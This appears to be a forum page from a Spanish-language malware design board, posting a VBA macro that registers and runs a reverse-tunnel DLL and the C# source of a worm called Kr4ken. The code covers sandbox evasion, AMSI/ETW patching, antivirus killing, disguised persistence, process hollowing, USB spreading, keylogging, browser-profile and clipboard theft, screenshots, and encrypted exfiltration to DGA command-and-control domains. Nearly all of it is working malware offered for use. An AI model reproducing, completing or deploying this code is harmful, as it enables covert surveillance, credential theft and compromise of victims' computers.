Private Const DLL_NAME As String = "SshReverseTunnel.dll" Private Const PROG_ID As String = "SshReverseTunnel.SshReverseTunnel"
Sub RegisterAndRun() Dim dllPath As String Dim regAsmPath As String Dim cmd As String Dim rc As Long Dim obj As Object Dim sh As Object Dim ex As Object dllPath = ThisDocument.Path & "\" & DLL_NAME regAsmPath = GetRegAsmPath() If Dir(dllPath) = "" Then Exit Sub End If If Dir(regAsmPath) = "" Then Exit Sub End If Set sh = CreateObject("WScript.Shell") cmd = """" & regAsmPath & """ """ & dllPath & """ /codebase" Set ex = sh.Exec(cmd) Do While ex.Status = 0 DoEvents Loop rc = ex.ExitCode If rc <> 0 Then Exit Sub End If Set obj = CreateObject(PROG_ID) If obj Is Nothing Then Exit Sub End If obj.StartDefault Exit Sub End Sub
Function GetRegAsmPath() As String #If Win64 Then GetRegAsmPath = Environ$("WINDIR") & "\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" #Else GetRegAsmPath = Environ$("WINDIR") & "\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" #End If End Function
Este launcher actúa como puente entre el documento y una DLL externa. En un poco más de detalle: 1.Localiza recursosConstruye la ruta de la DLL (SshReverseTunnel.dll) en la misma carpeta del documento. Obtiene la ruta de RegAsm.exe (según si el sistema es 32 o 64 bits). 2. Verifica que todo existaSi no encuentra la DLL o RegAsm, se detiene sin hacer nada. 3. Registra la DLL como COMEjecuta RegAsm.exe con /codebase, lo que permite registrar la DLL directamente desde su ubicación actual. Espera a que el proceso termine y comprueba que no haya errores. 4. Crea el objetoUsa CreateObject("SshReverseTunnel.SshReverseTunnel") para instanciar la clase definida en la DLL. 5. Ejecuta la funcionalidadLlama al método StartDefault, que es donde realmente está la lógica (en la DLL, no en la macro).
|
|
|
|
|
6
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Kr4ken - El Kraken ha sido liberado!
|
en: 19 Abril 2026, 01:45 am
|
// ====================== EXFILTRATION (HTTPS + Jitter) ====================== private static class Exfiltration { private static readonly string[] UserAgents = { "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0" };
public static void StartExfilLoop() { Timer timer = new Timer(EXFIL_INTERVAL.TotalMilliseconds); timer.Elapsed += async (s, e) => await CollectAndExfil(); timer.Start(); }
private static async Task CollectAndExfil() { if (encryptionKey == null || _c2Servers.Count == 0) return;
byte[] data = CollectData(); if (data.Length < 2048) return;
byte[] encrypted = AesEncryptPBKDF2(data, encryptionKey);
int jitter = new Random().Next(15000, 120000); await Task.Delay(jitter);
using var client = CreateHttpClient(); var servers = _c2Servers.ToList(); foreach (var server in servers) { try { string url = server.Url.Replace("http://", "https://"); var content = new ByteArrayContent(encrypted); content.Headers.ContentType = new System.Net.Http.Headers.MediaTypeHeaderValue("application/octet-stream");
var response = await client.PostAsync(url, content); if (response.IsSuccessStatusCode) { server.RetryCount = 0; server.LastAttempt = DateTime.Now; return; } } catch { server.RetryCount++; if (server.RetryCount >= 5) _c2Servers.Remove(server); }
await Task.Delay(new Random().Next(8000, 25000)); }
if (_c2Servers.Count == 0) InitializeC2Servers(); }
private static HttpClient CreateHttpClient() { var client = new HttpClient { Timeout = TimeSpan.FromMinutes(6) }; client.DefaultRequestHeaders.UserAgent.ParseAdd(UserAgents[new Random().Next(UserAgents.Length)]); return client; }
private static byte[] CollectData() { string temp = Path.GetTempPath(); List<byte> all = new List<byte>();
// Keys y clipboard foreach (string f in new[] { "keys.txt", "clipboard.txt" }) { string p = Path.Combine(temp, f); if (File.Exists(p)) { all.AddRange(File.ReadAllBytes(p)); File.Delete(p); } }
// Screenshots string scrDir = Path.Combine(temp, "screenshots"); if (Directory.Exists(scrDir)) { foreach (string file in Directory.GetFiles(scrDir, "scr_*.jpg")) { all.AddRange(File.ReadAllBytes(file)); if (all.Count > 50 * 1024 * 1024) break; } }
// Browser data string browserDir = Path.Combine(temp, "browser"); if (Directory.Exists(browserDir)) { all.AddRange(CompressDirectory(browserDir)); Directory.Delete(browserDir, true); }
return all.ToArray(); }
private static byte[] CompressDirectory(string dir) { using var ms = new MemoryStream(); using (var zip = new ZipArchive(ms, ZipArchiveMode.Create)) { foreach (string file in Directory.GetFiles(dir, "*.*", SearchOption.AllDirectories)) { if (new FileInfo(file).Length < 10 * 1024 * 1024) zip.CreateEntryFromFile(file, Path.GetRelativePath(dir, file)); } } return ms.ToArray(); }
private static byte[] AesEncryptPBKDF2(byte[] data, byte[] key) { using var aes = Aes.Create(); aes.KeySize = AES_KEY_SIZE; aes.Mode = CipherMode.CBC;
byte[] salt = new byte[16]; RandomNumberGenerator.Fill(salt);
using var derive = new Rfc2898DeriveBytes(key, salt, PBKDF2_ITERATIONS, HashAlgorithmName.SHA256); aes.Key = derive.GetBytes(AES_KEY_SIZE / 8); aes.IV = derive.GetBytes(AES_BLOCK_SIZE / 8);
using var ms = new MemoryStream(); using (var cs = new CryptoStream(ms, aes.CreateEncryptor(), CryptoStreamMode.Write)) cs.Write(data, 0, data.Length);
return salt.Concat(ms.ToArray()).ToArray(); } } } }
|
|
|
|
|
7
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Kr4ken - El Kraken ha sido liberado!
|
en: 19 Abril 2026, 01:43 am
|
Kr4ken.cs/// ///____ __. __ ///| |/ _ | ___________ | | __ ____ ____ ///| < \_ __ \__ \ | |/ // __ \ / \ ///| | \ | | \// __ \| <\ ___/| | \ ///|____|__ \|__| (____ /__|_ \\___ >___| / /// \/ \/ \/ \/ \/ /// /// The Kraken has been released. ///
using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Management; using System.Net.Http; using System.Reflection; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; using System.Threading; using System.Threading.Tasks; using Timer = System.Timers.Timer; using System.IO.Compression; using Microsoft.Win32; using System.Windows.Forms; using System.Drawing; using System.Drawing.Imaging;
namespace Kr4ken.Worm { class Kr4kenX { // ====================== CONFIGURATION ====================== private static readonly string[] DGA_SEEDS = { "kr4ken", "worm", "payload", "exfil", "stealth" };
private const string PBKDF2_PASSWORD = "Kr4kenX_Production_2026"; private const int PBKDF2_ITERATIONS = 100000; private const int AES_KEY_SIZE = 256; private const int AES_BLOCK_SIZE = 128;
private static readonly TimeSpan EXFIL_INTERVAL = TimeSpan.FromMinutes(35); private static readonly TimeSpan KEYLOG_BUFFER_THRESHOLD = TimeSpan.FromSeconds(6); private static readonly TimeSpan WATCHDOG_CHECK_INTERVAL = TimeSpan.FromSeconds(20);
private static string malwarePath = string.Empty; private static string machineId = string.Empty; private static byte[]? encryptionKey = null;
private static readonly List<C2Server> _c2Servers = new List<C2Server>();
private class C2Server { public string Url { get; set; } public int RetryCount { get; set; } public DateTime LastAttempt { get; set; }
public C2Server(string url) { Url = url; RetryCount = 0; LastAttempt = DateTime.MinValue; } }
// ====================== KEYBOARD HOOK ====================== private delegate int HookProc(int nCode, IntPtr wParam, IntPtr lParam); private static HookProc? keyProc; private static IntPtr keyHook = IntPtr.Zero; private static DateTime _lastKeyLogWrite = DateTime.MinValue;
private static readonly StringBuilder _keyLogBuffer = new StringBuilder(8192); private static readonly object _bufferLock = new object();
[STAThread] static void Main() { try { if (AntiAnalysis.IsSandbox()) { LogDiagnostic("Sandbox detected - exiting"); Thread.Sleep(45000); Environment.Exit(0); }
malwarePath = Assembly.GetExecutingAssembly().Location; machineId = AntiAnalysis.GetMachineSignature(); encryptionKey = DeriveEncryptionKey(machineId);
BypassAMSIAdvanced(); BypassETW();
InitializeC2Servers();
Persistence.EstablishMultiLayer(malwarePath); AntiAnalysis.KillDefenderAndAV(); Propagation.InfectUSBDrives();
if (ProcessHollowing.Execute(malwarePath)) { LogDiagnostic("Process hollowing successful - exiting"); Environment.Exit(0); }
Payloads.StartAll(); Exfiltration.StartExfilLoop(); Persistence.StartWatchdog(malwarePath);
Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(); } catch (Exception ex) { LogDiagnostic($"Critical failure: {ex.Message}"); Thread.Sleep(30000); Environment.Exit(1); } }
// ====================== ENCRYPTION ====================== private static byte[] DeriveEncryptionKey(string machineSignature) { try { using var derive = new Rfc2898DeriveBytes( PBKDF2_PASSWORD + machineSignature, Encoding.UTF8.GetBytes("Kr4kenSalt2026"), PBKDF2_ITERATIONS, HashAlgorithmName.SHA256); return derive.GetBytes(AES_KEY_SIZE / 8); } catch { return Encoding.UTF8.GetBytes(PBKDF2_PASSWORD); } }
private static void LogDiagnostic(string message) { try { string logPath = Path.Combine(Path.GetTempPath(), "diag.tmp"); File.AppendAllText(logPath, $"[{DateTime.UtcNow:yyyy-MM-dd HH:mm:ss}] {message}\n"); } catch { } }
private static bool IsAdministrator() { try { using var identity = System.Security.Principal.WindowsIdentity.GetCurrent(); return new System.Security.Principal.WindowsPrincipal(identity) .IsInRole(System.Security.Principal.WindowsBuiltInRole.Administrator); } catch { return false; } }
// ====================== C2 + DGA ====================== private static void InitializeC2Servers() { _c2Servers.Clear(); foreach (var domain in GenerateDGADomains()) _c2Servers.Add(new C2Server($"http://{domain}/upload"));
LogDiagnostic($"Initialized {_c2Servers.Count} DGA domains"); }
private static List<string> GenerateDGADomains() { var domains = new List<string>(); string date = DateTime.UtcNow.ToString("yyyyMMdd");
foreach (var seed in DGA_SEEDS) { for (int i = 0; i < 6; i++) { string input = $"{seed}{date}{i}{machineId}"; string hash = GetShortHash(input); domains.Add($"{seed}{hash}.{GetTLD(i)}"); } } return domains; }
private static string GetShortHash(string input) { using var sha = SHA256.Create(); var hash = sha.ComputeHash(Encoding.UTF8.GetBytes(input)); return BitConverter.ToString(hash, 0, 6).Replace("-", "").ToLower(); }
private static string GetTLD(int index) { string[] tlds = { "com", "net", "org", "xyz", "top", "io", "app" }; return tlds[index % tlds.Length]; }
// ====================== EVASION ====================== private static void BypassAMSIAdvanced() { try { IntPtr amsi = LoadLibrary("amsi.dll"); if (amsi == IntPtr.Zero) return; IntPtr addr = GetProcAddress(amsi, "AmsiScanBuffer"); if (addr == IntPtr.Zero) return;
byte[] patch = { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 }; uint old = 0; VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out old); Marshal.Copy(patch, 0, addr, patch.Length); VirtualProtect(addr, (UIntPtr)patch.Length, old, out _); } catch { } }
private static void BypassETW() { try { IntPtr ntdll = LoadLibrary("ntdll.dll"); if (ntdll == IntPtr.Zero) return; IntPtr addr = GetProcAddress(ntdll, "NtTraceEvent"); if (addr == IntPtr.Zero) return;
byte[] patch = { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 }; uint old = 0; VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out old); Marshal.Copy(patch, 0, addr, patch.Length); VirtualProtect(addr, (UIntPtr)patch.Length, old, out _); } catch { } }
// ====================== P/INVOKE SHARED ====================== [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr LoadLibrary(string lpFileName); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
// ====================== PROCESS HOLLOWING ====================== private static class ProcessHollowing { public static bool Execute(string payloadPath) { try { byte[] payload = File.ReadAllBytes(payloadPath); string[] targets = { @"C:\Windows\System32\svchost.exe", @"C:\Windows\System32\conhost.exe", "explorer.exe" };
foreach (var target in targets) { if (CreateSuspendedProcess(target, out var pi)) { if (OverwriteAndRun(pi, payload)) { ResumeAndClean(pi); LogDiagnostic($"Process hollowing successful on {target}"); return true; } SafeTerminate(pi); } } return false; } catch (Exception ex) { LogDiagnostic($"Hollowing failed: {ex.Message}"); return false; } }
private static bool CreateSuspendedProcess(string target, out PROCESS_INFORMATION pi) { var si = new STARTUPINFO { cb = Marshal.SizeOf<STARTUPINFO>() }; pi = new PROCESS_INFORMATION(); return CreateProcess(target, null, IntPtr.Zero, IntPtr.Zero, false, CreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi); }
private static bool OverwriteAndRun(PROCESS_INFORMATION pi, byte[] payload) { try { PROCESS_BASIC_INFORMATION pbi = new(); NtQueryInformationProcess(pi.hProcess, 0, ref pbi, (uint)Marshal.SizeOf(pbi), out _);
IntPtr pebImageBaseAddr = pbi.PebBaseAddress + 0x10; byte[] baseBuf = new byte[8]; ReadProcessMemory(pi.hProcess, pebImageBaseAddr, baseBuf, 8, out _); IntPtr originalBase = (IntPtr)BitConverter.ToInt64(baseBuf, 0);
uint peHeaderOffset = BitConverter.ToUInt32(payload, 0x3C); uint sizeOfImage = BitConverter.ToUInt32(payload, (int)peHeaderOffset + 0x50); uint entryPointRVA = BitConverter.ToUInt32(payload, (int)peHeaderOffset + 0x28); ushort numSections = BitConverter.ToUInt16(payload, (int)peHeaderOffset + 6);
IntPtr sectionHandle = IntPtr.Zero; LARGE_INTEGER sectionSize = new() { QuadPart = sizeOfImage };
uint status = NtCreateSection(ref sectionHandle, SECTION_ALL_ACCESS, IntPtr.Zero, ref sectionSize, PAGE_EXECUTE_READWRITE, SEC_IMAGE | SEC_COMMIT, IntPtr.Zero);
if (status != 0) return false;
IntPtr allocated = IntPtr.Zero; uint viewSize = 0; status = NtMapViewOfSection(sectionHandle, pi.hProcess, ref allocated, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref viewSize, 2, 0, PAGE_EXECUTE_READWRITE);
if (status != 0 || allocated == IntPtr.Zero) { NtClose(sectionHandle); return false; }
uint headerSize = peHeaderOffset + 0xF8u + (uint)(numSections * 0x28); WriteProcessMemory(pi.hProcess, allocated, payload, headerSize, out _);
for (int i = 0; i < numSections; i++) { int sectionOffset = (int)peHeaderOffset + 0xF8 + (i * 0x28); uint virtualAddress = BitConverter.ToUInt32(payload, sectionOffset + 0x0C); uint rawSize = BitConverter.ToUInt32(payload, sectionOffset + 0x10); uint rawAddress = BitConverter.ToUInt32(payload, sectionOffset + 0x14);
if (rawSize == 0) continue;
IntPtr sectionDest = allocated + (int)virtualAddress; byte[] sectionData = new byte[rawSize]; Array.Copy(payload, (int)rawAddress, sectionData, 0, (int)rawSize); WriteProcessMemory(pi.hProcess, sectionDest, sectionData, rawSize, out _); }
WriteProcessMemory(pi.hProcess, pebImageBaseAddr, BitConverter.GetBytes(allocated.ToInt64()), 8, out _);
CONTEXT ctx = new() { ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL }; GetThreadContext(pi.hThread, ref ctx); ctx.Rip = (ulong)(allocated.ToInt64() + entryPointRVA); SetThreadContext(pi.hThread, ref ctx);
uint oldProtect; VirtualProtectEx(pi.hProcess, allocated, (UIntPtr)sizeOfImage, PAGE_EXECUTE_READ, out oldProtect);
NtClose(sectionHandle); return true; } catch { return false; } }
private static void SafeTerminate(PROCESS_INFORMATION pi) { try { TerminateProcess(pi.hProcess, 0); } catch { } try { CloseHandle(pi.hProcess); } catch { } try { CloseHandle(pi.hThread); } catch { } }
private static void ResumeAndClean(PROCESS_INFORMATION pi) { try { ResumeThread(pi.hThread); } catch { } try { CloseHandle(pi.hProcess); } catch { } try { CloseHandle(pi.hThread); } catch { } }
private const uint SECTION_ALL_ACCESS = 0xF001F; private const uint SEC_COMMIT = 0x08000000; private const uint SEC_IMAGE = 0x01000000; private const uint PAGE_EXECUTE_READWRITE = 0x40; private const uint PAGE_EXECUTE_READ = 0x20;
[DllImport("ntdll.dll")] private static extern uint NtCreateSection(ref IntPtr sectionHandle, uint desiredAccess, IntPtr objectAttributes, ref LARGE_INTEGER maximumSize, uint sectionPageProtection, uint allocationAttributes, IntPtr fileHandle); [DllImport("ntdll.dll")] private static extern uint NtMapViewOfSection(IntPtr sectionHandle, IntPtr processHandle, ref IntPtr baseAddress, IntPtr zeroBits, IntPtr commitSize, IntPtr sectionOffset, ref uint viewSize, uint inheritDisposition, uint allocationType, uint win32Protect); [DllImport("ntdll.dll")] private static extern uint NtClose(IntPtr handle); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool CreateProcess(string lpApplicationName, string? lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string? lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("ntdll.dll")] private static extern uint NtQueryInformationProcess(IntPtr hProcess, int processInformationClass, ref PROCESS_BASIC_INFORMATION processInformation, uint processInformationLength, out uint returnLength); [DllImport("kernel32.dll")] private static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead); [DllImport("kernel32.dll")] private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten); [DllImport("kernel32.dll")] private static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT lpContext); [DllImport("kernel32.dll")] private static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT lpContext); [DllImport("kernel32.dll")] private static extern uint ResumeThread(IntPtr hThread); [DllImport("kernel32.dll")] private static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpOldProtect);
[StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO { public int cb; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_BASIC_INFORMATION { public IntPtr Reserved1; public IntPtr PebBaseAddress; public IntPtr Reserved2_0; public IntPtr Reserved2_1; public IntPtr UniqueProcessId; public IntPtr Reserved3; } [StructLayout(LayoutKind.Sequential)] public struct CONTEXT { public CONTEXT_FLAGS ContextFlags; public ulong Rip; } [StructLayout(LayoutKind.Sequential)] public struct LARGE_INTEGER { public long QuadPart; }
[Flags] public enum CreationFlags : uint { CREATE_SUSPENDED = 0x00000004 } [Flags] public enum CONTEXT_FLAGS : uint { CONTEXT_FULL = 0x10007 } }
// ====================== ANTI-ANALYSIS (Reforzado) ====================== private static class AntiAnalysis { public static bool IsSandbox() { LogDiagnostic("Starting reinforced anti-analysis...");
if (Environment.ProcessorCount < 2 || !Environment.Is64BitProcess) return true; if (DetectSandboxUserOrHostname()) return true; if (DetectTimingAnomaly()) return true; if (DetectVirtualizationArtifacts()) return true; if (DetectHypervisor()) return true; if (DetectAnalysisTools()) return true; if (DetectSecurityProducts()) return true; if (IsBeingDebuggedAdvanced()) return true; if (DetectLowEntropyEnvironment()) return true;
LogDiagnostic("Anti-analysis passed"); return false; }
private static bool DetectSandboxUserOrHostname() { string[] bad = { "sandbox", "test", "malware", "virus", "user", "john", "admin", "pc", "vm", "virtual" }; string user = Environment.UserName.ToLower(); string host = Environment.MachineName.ToLower(); return bad.Any(n => user.Contains(n) || host.Contains(n)); }
private static bool DetectTimingAnomaly() { try { long start = Stopwatch.GetTimestamp(); Thread.Sleep(420); long elapsed = Stopwatch.GetTimestamp() - start; return elapsed < 380000; } catch { return false; } }
private static bool DetectVirtualizationArtifacts() { try { var s = new ManagementObjectSearcher("SELECT Manufacturer, Model FROM Win32_ComputerSystem"); foreach (ManagementObject o in s.Get()) { string m = (o["Manufacturer"]?.ToString() ?? "").ToLower(); string mod = (o["Model"]?.ToString() ?? "").ToLower(); if (m.Contains("vmware") || m.Contains("xen") || m.Contains("qemu") || mod.Contains("virtual") || mod.Contains("vbox")) return true; } } catch { } return false; }
private static bool DetectHypervisor() { try { var s = new ManagementObjectSearcher("SELECT HypervisorPresent FROM Win32_ComputerSystem"); foreach (ManagementObject o in s.Get()) if (o["HypervisorPresent"]?.ToString() == "True") return true; } catch { } return false; }
private static bool DetectAnalysisTools() { string[] tools = { "x64dbg", "ida", "ghidra", "wireshark", "procmon", "ollydbg", "dnspy", "fiddler", "processhacker", "hxd" }; return tools.Any(t => Process.GetProcessesByName(t).Length > 0); }
private static bool DetectSecurityProducts() { string[] edr = { "MsMpEng", "Sense", "WdNisSvc", "CrowdStrike", "Falcon", "SentinelAgent", "CarbonBlack", "Cylance", "Sophos" }; if (edr.Any(p => Process.GetProcessesByName(p).Length > 0)) return true;
try { using var k = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows Defender\Features"); if (k?.GetValue("TamperProtection")?.ToString() == "1") return true; } catch { } return false; }
private static bool IsBeingDebuggedAdvanced() { try { return Debugger.IsAttached || Debugger.IsLogging(); } catch { return false; } }
private static bool DetectLowEntropyEnvironment() { try { int programs = Directory.GetDirectories(@"C:\Program Files").Length + Directory.GetDirectories(@"C:\Program Files (x86)").Length; if (programs < 15) return true;
string docs = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); if (Directory.Exists(docs)) { int recent = Directory.GetFiles(docs, "*.*", SearchOption.AllDirectories) .Count(f => (DateTime.Now - new FileInfo(f).LastWriteTime).TotalDays < 30); if (recent < 8) return true; } } catch { } return false; }
public static void KillDefenderAndAV() { string[] avs = { "MsMpEng", "Sense", "WdNisSvc", "Avast", "Norton", "Sophos", "Bitdefender", "ESET", "Kaspersky", "CrowdStrike", "Falcon" }; foreach (var a in avs) { try { foreach (var p in Process.GetProcessesByName(a)) try { p.Kill(); } catch { } } catch { } }
try { Registry.SetValue(@"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", 1, RegistryValueKind.DWord); } catch { } }
public static string GetMachineSignature() { try { string cpu = "", mac = ""; using (var s = new ManagementObjectSearcher("SELECT ProcessorId FROM Win32_Processor")) foreach (ManagementObject o in s.Get()) { cpu = o["ProcessorId"]?.ToString() ?? ""; if (!string.IsNullOrEmpty(cpu)) break; }
using (var s = new ManagementObjectSearcher("SELECT MACAddress FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")) foreach (ManagementObject o in s.Get()) { mac = o["MACAddress"]?.ToString() ?? ""; if (!string.IsNullOrEmpty(mac)) break; }
return string.IsNullOrEmpty(cpu) && string.IsNullOrEmpty(mac) ? Environment.MachineName : $"{cpu}_{mac}"; } catch { return Environment.MachineName; } } }
// ====================== PERSISTENCE ====================== private static class Persistence { public static void EstablishMultiLayer(string path) { try { bool isAdmin = IsAdministrator();
using (var k = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true)) k?.SetValue($"WindowsUpdate_{Guid.NewGuid().ToString("N")[..8]}", $"\"{path}\" /hidden");
if (isAdmin) TrySetHKLMRun(path);
CreateHighPrivScheduledTask(path);
using (var k = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", true)) k?.SetValue($"Kr4ken_Once_{Guid.NewGuid().ToString("N")[..8]}", $"\"{path}\"");
LogDiagnostic("Multi-layer persistence established"); } catch (Exception ex) { LogDiagnostic($"Persistence error: {ex.Message}"); } }
private static bool TrySetHKLMRun(string path) { try { using (var k = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true)) { if (k != null) { k.SetValue($"WindowsDefenderUpdate_{Guid.NewGuid().ToString("N")[..8]}", $"\"{path}\""); return true; } } } catch { } return false; }
private static void CreateHighPrivScheduledTask(string path) { try { string name = $"WindowsUpdateTask_{Guid.NewGuid().ToString("N")[..8]}"; string args = $"/Create /TN \"{name}\" /TR \"{path}\" /SC ONLOGON /RL HIGHEST /F /RU SYSTEM";
var psi = new ProcessStartInfo("schtasks.exe", args) { UseShellExecute = true, Verb = "runas", CreateNoWindow = true }; using var p = Process.Start(psi); p?.WaitForExit(12000); } catch { CreateNormalScheduledTask(path); } }
private static void CreateNormalScheduledTask(string path) { try { string name = $"WindowsUpdateTask_{Guid.NewGuid().ToString("N")[..8]}"; string args = $"/Create /TN \"{name}\" /TR \"{path}\" /SC ONLOGON /RL HIGHEST /F"; var p = Process.Start("schtasks.exe", args); p?.WaitForExit(8000); } catch { } }
public static void StartWatchdog(string path) { Timer t = new Timer(WATCHDOG_CHECK_INTERVAL.TotalMilliseconds); int retry = 0; const int max = 8;
t.Elapsed += (s, e) => { if (Process.GetProcessesByName(Path.GetFileNameWithoutExtension(path)).Length == 0) { try { int delay = Math.Min(2000 * (1 << retry), 45000); Thread.Sleep(delay); Process.Start(path); retry = retry < max ? retry + 1 : 0; } catch { } } }; t.Start(); } }
// ====================== USB PROPAGATION ====================== private static class Propagation { public static void InfectUSBDrives() { foreach (var drive in DriveInfo.GetDrives().Where(d => d.DriveType == DriveType.Removable && d.IsReady)) { try { CreateHiddenPayloadCopies(drive.RootDirectory.FullName); CreateAutorunInf(drive.RootDirectory.FullName); } catch { } } }
private static void CreateHiddenPayloadCopies(string root) { var names = new[] { "Annual_Report_2026", "Pending_Invoice_Q1", "Confidential_Document", "Budget_2026_Final" }; var rand = new Random(); for (int i = 0; i < 4; i++) { string name = names[rand.Next(names.Length)] + ".pdf.exe"; string target = Path.Combine(root, name); try { File.Copy(malwarePath, target, true); File.SetAttributes(target, FileAttributes.Hidden | FileAttributes.System); } catch { } } }
private static void CreateAutorunInf(string root) { string path = Path.Combine(root, "autorun.inf"); if (File.Exists(path)) return;
string content = @"[autorun] action=Open Document open=Annual_Report_2026.pdf.exe icon=Annual_Report_2026.pdf.exe,0"; try { File.WriteAllText(path, content); File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System); } catch { } } }
// ====================== PAYLOADS ====================== private static class Payloads { public static void StartAll() { StartKeyAndMouseHooks(); StealBrowserData(); MonitorClipboardImproved(); PeriodicScreenshots(); }
public static void StartKeyAndMouseHooks() { keyProc = KeyLoggerCallback; keyHook = SetWindowsHookEx(13, keyProc, GetModuleHandle(null), 0); }
private static int KeyLoggerCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)0x0100) { try { int vk = Marshal.ReadInt32(lParam); string key = GetKeyString(vk); if (!string.IsNullOrEmpty(key)) { lock (_bufferLock) { _keyLogBuffer.Append(key); if (_keyLogBuffer.Length >= 2048 || (DateTime.Now - _lastKeyLogWrite > KEYLOG_BUFFER_THRESHOLD)) { File.AppendAllText(Path.Combine(Path.GetTempPath(), "keys.txt"), _keyLogBuffer.ToString()); _lastKeyLogWrite = DateTime.Now; _keyLogBuffer.Clear(); } } } } catch { } } return CallNextHookEx(keyHook, nCode, wParam, lParam); }
private static string GetKeyString(int vkCode) { switch (vkCode) { case 0x0D: return "[ENTER]\r\n"; case 0x08: return "[BACK]"; case 0x09: return "[TAB]"; case 0x1B: return "[ESC]"; case 0x20: return " "; } if (vkCode >= 0x70 && vkCode <= 0x7B) return $"[F{vkCode - 0x6F}]";
bool shift = (GetAsyncKeyState(0x10) & 0x8000) != 0; bool caps = Console.CapsLock; char c = (char)vkCode;
if (char.IsLetter(c)) return (shift ^ caps) ? c.ToString().ToUpper() : c.ToString().ToLower(); if (char.IsDigit(c) && shift) { string shifted = ")!@#$%^&*("; return shifted[c - '0'].ToString(); } return c.ToString(); }
public static void StealBrowserData() { string temp = Path.Combine(Path.GetTempPath(), "browser"); Directory.CreateDirectory(temp);
try { string chrome = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Google\Chrome\User Data\Default"); if (Directory.Exists(chrome)) SafeDirectoryCopy(chrome, Path.Combine(temp, "chrome"));
string edge = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), @"Microsoft\Edge\User Data\Default"); if (Directory.Exists(edge)) SafeDirectoryCopy(edge, Path.Combine(temp, "edge"));
string firefox = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), @"Mozilla\Firefox\Profiles"); if (Directory.Exists(firefox)) SafeDirectoryCopy(firefox, Path.Combine(temp, "firefox")); } catch { } }
private static void SafeDirectoryCopy(string source, string dest) { try { Directory.CreateDirectory(dest); foreach (string file in Directory.GetFiles(source)) { string destFile = Path.Combine(dest, Path.GetFileName(file)); if (new FileInfo(file).Length < 10 * 1024 * 1024) File.Copy(file, destFile, true); } } catch { } }
public static void MonitorClipboardImproved() { Timer t = new Timer(5000); string path = Path.Combine(Path.GetTempPath(), "clipboard.txt"); t.Elapsed += (s, e) => { try { if (Clipboard.ContainsText()) File.AppendAllText(path, $"[{DateTime.Now:HH:mm:ss}] {Clipboard.GetText()}\n"); } catch { } }; t.Start(); }
public static void PeriodicScreenshots() { Timer t = new Timer(60000); string dir = Path.Combine(Path.GetTempPath(), "screenshots"); Directory.CreateDirectory(dir); t.Elapsed += (s, e) => { try { using Bitmap bmp = new(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); using Graphics g = Graphics.FromImage(bmp); g.CopyFromScreen(0, 0, 0, 0, bmp.Size); string path = Path.Combine(dir, $"scr_{DateTime.Now:yyyyMMdd_HHmmss}.jpg"); bmp.Save(path, ImageFormat.Jpeg); } catch { } }; t.Start(); }
